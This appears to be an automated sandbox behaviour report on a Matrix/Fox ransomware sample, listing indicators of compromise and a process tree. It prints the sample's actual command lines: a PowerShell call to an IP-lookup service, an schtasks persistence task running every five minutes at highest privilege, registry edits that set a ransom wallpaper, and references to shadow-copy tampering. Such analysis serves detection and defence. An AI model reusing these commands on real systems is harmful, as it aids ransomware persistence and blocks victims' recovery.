description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation wscript.exe - Executes dropped EXE 3 IoCs
pid Process 1828 NWHeArfD.exe 5780 j3MxuEwf.exe 6252 j3MxuEwf64.exe - Modifies file permissions 1 TTPs 1 IoCs
pid Process 6824 takeown.exe -
resource yara_rule behavioral8/files/0x000600000002322e-8578.dat upx behavioral8/memory/5780-8581-0x0000000000400000-0x0000000000477000-memory.dmp upx behavioral8/memory/5780-14385-0x0000000000400000-0x0000000000477000-memory.dmp upx - Enumerates connected drives 3 TTPs 44 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\M: j3MxuEwf64.exe File opened (read-only) \??\Y: j3MxuEwf64.exe File opened (read-only) \??\H: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\A: j3MxuEwf64.exe File opened (read-only) \??\B: j3MxuEwf64.exe File opened (read-only) \??\K: j3MxuEwf64.exe File opened (read-only) \??\Z: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\V: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\H: j3MxuEwf64.exe File opened (read-only) \??\T: j3MxuEwf64.exe File opened (read-only) \??\X: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\L: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\I: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\Z: j3MxuEwf64.exe File opened (read-only) \??\L: j3MxuEwf64.exe File opened (read-only) \??\S: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\K: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\E: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\G: j3MxuEwf64.exe File opened (read-only) \??\S: j3MxuEwf64.exe File opened (read-only) \??\W: j3MxuEwf64.exe File opened (read-only) \??\Y: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\W: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\N: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\Q: j3MxuEwf64.exe File opened (read-only) \??\O: j3MxuEwf64.exe File opened (read-only) \??\P: j3MxuEwf64.exe File opened (read-only) \??\U: j3MxuEwf64.exe File opened (read-only) \??\V: j3MxuEwf64.exe File opened (read-only) \??\T: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\R: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\J: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\N: j3MxuEwf64.exe File opened (read-only) \??\X: j3MxuEwf64.exe File opened (read-only) \??\Q: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\G: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\I: j3MxuEwf64.exe File opened (read-only) \??\J: j3MxuEwf64.exe File opened (read-only) \??\E: j3MxuEwf64.exe File opened (read-only) \??\R: j3MxuEwf64.exe File opened (read-only) \??\U: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\P: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\O: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened (read-only) \??\M: 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 155 myexternalip.com - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Roaming\\hQne0weC.bmp" reg.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogo.contrast-black_scale-180.png 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\System\VEN2232.OLB 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\sl-si\ui-strings.js 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\Fonts\private\GARAIT.TTF 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\fr-fr\ui-strings.js 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Google\Chrome\Application\106.0.5249.119\Locales\zh-TW.pak 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\psfont.properties.ja 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\BORDERS\MSART4.BDR 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\css\main-selector.css 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\en-gb\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\lcms.md 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\progress-indeterminate.gif 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProPlus2019R_Trial-pl.xrm-ms 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\tr-tr\ui-strings.js 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\text_2x.png 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Java\jre-1.8\THIRDPARTYLICENSEREADME-JAVAFX.txt 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\7-Zip\Lang\it.txt 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Google\Chrome\Application\106.0.5249.119\VisualElements\Logo.png 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\VisioStd2019VL_MAK_AE-ul-phn.xrm-ms 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectStdR_Retail-pl.xrm-ms 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected] 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\sv-se\ui-strings.js 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\css\main.css 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\ja-jp\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\uk-ua\ui-strings.js 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\currency.data 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Java\jre-1.8\COPYRIGHT 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\CardViewIcon.png 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\dd_arrow_small.png 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\files_icons.png 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectPro2019XC2RVL_KMS_ClientC2R-ppd.xrm-ms 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\HomeStudentVNextR_Retail-ul-oob.xrm-ms 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\images\themes\dark\file_icons.png 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\msedgewebview2.exe.sig 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\VisioProDemoR_BypassTrial180-ppd.xrm-ms 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProPlusR_Trial-ul-oob.xrm-ms 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\es-es\ui-strings.js 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\fr-ma\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\uk-ua\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogo.scale-100.png 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\move.svg 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files-select\js\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\bun.png 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ca-es\ui-strings.js 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\ko-kr\ui-strings.js 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\Fonts\private\BRADHITC.TTF 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\BORDERS\MSART12.BDR 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files\VideoLAN\VLC\locale\hy\LC_MESSAGES\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\ru-ru\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\HomeBusinessR_Trial-ppd.xrm-ms 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\fi-fi\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\PowerPointR_Retail-pl.xrm-ms 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN081.XML 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\Bibliography\Sort\TAG.XSL 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProPlus2019R_Trial-ppd.xrm-ms 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\HomeBusinessR_Trial2-pl.xrm-ms 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProfessionalDemoR_BypassTrial180-ul-oob.xrm-ms 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\AXIS\THMBNAIL.PNG 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\Excel2019R_Trial-ppd.xrm-ms 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\PROOF\MSHY7EN.LEX 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\cardview-warning.png 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected] 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\VisioProR_Retail-ul-oob.xrm-ms 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4016 schtasks.exe - Interacts with shadow copies 2 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 3956 vssadmin.exe 6464 vssadmin.exe - Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 4900 powershell.exe 4900 powershell.exe 6252 j3MxuEwf64.exe 6252 j3MxuEwf64.exe 6252 j3MxuEwf64.exe 6252 j3MxuEwf64.exe 6252 j3MxuEwf64.exe 6252 j3MxuEwf64.exe 6252 j3MxuEwf64.exe 6252 j3MxuEwf64.exe 6252 j3MxuEwf64.exe 6884 powershell.exe 6884 powershell.exe 6884 powershell.exe - Suspicious behavior: LoadsDriver 1 IoCs
pid Process 6252 j3MxuEwf64.exe - Suspicious use of AdjustPrivilegeToken 50 IoCs
description pid Process Token: SeDebugPrivilege 4900 powershell.exe Token: SeTakeOwnershipPrivilege 6824 takeown.exe Token: SeDebugPrivilege 6252 j3MxuEwf64.exe Token: SeLoadDriverPrivilege 6252 j3MxuEwf64.exe Token: SeBackupPrivilege 6544 vssvc.exe Token: SeRestorePrivilege 6544 vssvc.exe Token: SeAuditPrivilege 6544 vssvc.exe Token: SeIncreaseQuotaPrivilege 5360 WMIC.exe Token: SeSecurityPrivilege 5360 WMIC.exe Token: SeTakeOwnershipPrivilege 5360 WMIC.exe Token: SeLoadDriverPrivilege 5360 WMIC.exe Token: SeSystemProfilePrivilege 5360 WMIC.exe Token: SeSystemtimePrivilege 5360 WMIC.exe Token: SeProfSingleProcessPrivilege 5360 WMIC.exe Token: SeIncBasePriorityPrivilege 5360 WMIC.exe Token: SeCreatePagefilePrivilege 5360 WMIC.exe Token: SeBackupPrivilege 5360 WMIC.exe Token: SeRestorePrivilege 5360 WMIC.exe Token: SeShutdownPrivilege 5360 WMIC.exe Token: SeDebugPrivilege 5360 WMIC.exe Token: SeSystemEnvironmentPrivilege 5360 WMIC.exe Token: SeRemoteShutdownPrivilege 5360 WMIC.exe Token: SeUndockPrivilege 5360 WMIC.exe Token: SeManageVolumePrivilege 5360 WMIC.exe Token: 33 5360 WMIC.exe Token: 34 5360 WMIC.exe Token: 35 5360 WMIC.exe Token: 36 5360 WMIC.exe Token: SeIncreaseQuotaPrivilege 5360 WMIC.exe Token: SeSecurityPrivilege 5360 WMIC.exe Token: SeTakeOwnershipPrivilege 5360 WMIC.exe Token: SeLoadDriverPrivilege 5360 WMIC.exe Token: SeSystemProfilePrivilege 5360 WMIC.exe Token: SeSystemtimePrivilege 5360 WMIC.exe Token: SeProfSingleProcessPrivilege 5360 WMIC.exe Token: SeIncBasePriorityPrivilege 5360 WMIC.exe Token: SeCreatePagefilePrivilege 5360 WMIC.exe Token: SeBackupPrivilege 5360 WMIC.exe Token: SeRestorePrivilege 5360 WMIC.exe Token: SeShutdownPrivilege 5360 WMIC.exe Token: SeDebugPrivilege 5360 WMIC.exe Token: SeSystemEnvironmentPrivilege 5360 WMIC.exe Token: SeRemoteShutdownPrivilege 5360 WMIC.exe Token: SeUndockPrivilege 5360 WMIC.exe Token: SeManageVolumePrivilege 5360 WMIC.exe Token: 33 5360 WMIC.exe Token: 34 5360 WMIC.exe Token: 35 5360 WMIC.exe Token: 36 5360 WMIC.exe Token: SeDebugPrivilege 6884 powershell.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2764 wrote to memory of 1524 2764 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe 86 PID 2764 wrote to memory of 1524 2764 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe 86 PID 2764 wrote to memory of 1524 2764 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe 86 PID 2764 wrote to memory of 1828 2764 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe 88 PID 2764 wrote to memory of 1828 2764 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe 88 PID 2764 wrote to memory of 1828 2764 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe 88 PID 2764 wrote to memory of 1304 2764 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe 90 PID 2764 wrote to memory of 1304 2764 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe 90 PID 2764 wrote to memory of 1304 2764 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe 90 PID 1304 wrote to memory of 4900 1304 cmd.exe 92 PID 1304 wrote to memory of 4900 1304 cmd.exe 92 PID 1304 wrote to memory of 4900 1304 cmd.exe 92 PID 2764 wrote to memory of 1968 2764 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe 98 PID 2764 wrote to memory of 1968 2764 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe 98 PID 2764 wrote to memory of 1968 2764 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe 98 PID 2764 wrote to memory of 8 2764 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe 97 PID 2764 wrote to memory of 8 2764 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe 97 PID 2764 wrote to memory of 8 2764 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe 97 PID 2764 wrote to memory of 5768 2764 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe 99 PID 2764 wrote to memory of 5768 2764 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe 99 PID 2764 wrote to memory of 5768 2764 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe 99 PID 8 wrote to memory of 7128 8 cmd.exe 101 PID 8 wrote to memory of 7128 8 cmd.exe 101 PID 8 wrote to memory of 7128 8 cmd.exe 101 PID 1968 wrote to memory of 2088 1968 cmd.exe 103 PID 1968 wrote to memory of 2088 1968 cmd.exe 103 PID 1968 wrote to memory of 2088 1968 cmd.exe 103 PID 1968 wrote to memory of 2896 1968 cmd.exe 105 PID 1968 wrote to memory of 2896 1968 cmd.exe 105 PID 1968 wrote to memory of 2896 1968 cmd.exe 105 PID 5768 wrote to memory of 1784 5768 cmd.exe 108 PID 5768 wrote to memory of 1784 5768 cmd.exe 108 PID 5768 wrote to memory of 1784 5768 cmd.exe 108 PID 7128 wrote to memory of 4292 7128 wscript.exe 106 PID 7128 wrote to memory of 4292 7128 wscript.exe 106 PID 7128 wrote to memory of 4292 7128 wscript.exe 106 PID 1968 wrote to memory of 4232 1968 cmd.exe 109 PID 1968 wrote to memory of 4232 1968 cmd.exe 109 PID 1968 wrote to memory of 4232 1968 cmd.exe 109 PID 4292 wrote to memory of 4016 4292 cmd.exe 111 PID 4292 wrote to memory of 4016 4292 cmd.exe 111 PID 4292 wrote to memory of 4016 4292 cmd.exe 111 PID 5768 wrote to memory of 4020 5768 cmd.exe 112 PID 5768 wrote to memory of 4020 5768 cmd.exe 112 PID 5768 wrote to memory of 4020 5768 cmd.exe 112 PID 5768 wrote to memory of 6824 5768 cmd.exe 113 PID 5768 wrote to memory of 6824 5768 cmd.exe 113 PID 5768 wrote to memory of 6824 5768 cmd.exe 113 PID 5768 wrote to memory of 5384 5768 cmd.exe 114 PID 5768 wrote to memory of 5384 5768 cmd.exe 114 PID 5768 wrote to memory of 5384 5768 cmd.exe 114 PID 5384 wrote to memory of 5780 5384 cmd.exe 115 PID 5384 wrote to memory of 5780 5384 cmd.exe 115 PID 5384 wrote to memory of 5780 5384 cmd.exe 115 PID 7128 wrote to memory of 5280 7128 wscript.exe 116 PID 7128 wrote to memory of 5280 7128 wscript.exe 116 PID 7128 wrote to memory of 5280 7128 wscript.exe 116 PID 5780 wrote to memory of 6252 5780 j3MxuEwf.exe 118 PID 5780 wrote to memory of 6252 5780 j3MxuEwf.exe 118 PID 5280 wrote to memory of 7056 5280 cmd.exe 119 PID 5280 wrote to memory of 7056 5280 cmd.exe 119 PID 5280 wrote to memory of 7056 5280 cmd.exe 119 PID 6208 wrote to memory of 3956 6208 cmd.exe 122 PID 6208 wrote to memory of 3956 6208 cmd.exe 122 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
- Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 1784 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\FoxRansomware\6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe"1⤵
- Matrix Ransomware
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2764 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe" "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWHeArfD.exe"2⤵PID:1524
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C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWHeArfD.exe"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWHeArfD.exe" -n2⤵
- Executes dropped EXE
PID:1828
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\JBQVODeU.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:1304 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4900
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\WS8smXz0.vbs"2⤵
- Suspicious use of WriteProcessMemory
PID:8 -
C:\Windows\SysWOW64\wscript.exewscript //B //Nologo "C:\Users\Admin\AppData\Roaming\WS8smXz0.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:7128 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\up21cGFf.bat" /sc minute /mo 5 /RL HIGHEST /F4⤵
- Suspicious use of WriteProcessMemory
PID:4292 -
C:\Windows\SysWOW64\schtasks.exeschtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\up21cGFf.bat" /sc minute /mo 5 /RL HIGHEST /F5⤵
- Creates scheduled task(s)
PID:4016
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA4⤵
- Suspicious use of WriteProcessMemory
PID:5280 -
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /I /tn DSHCA5⤵PID:7056
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\hQne0weC.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1968 -
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\hQne0weC.bmp" /f3⤵
- Sets desktop wallpaper using registry
PID:2088
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C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f3⤵PID:2896
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C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f3⤵PID:4232
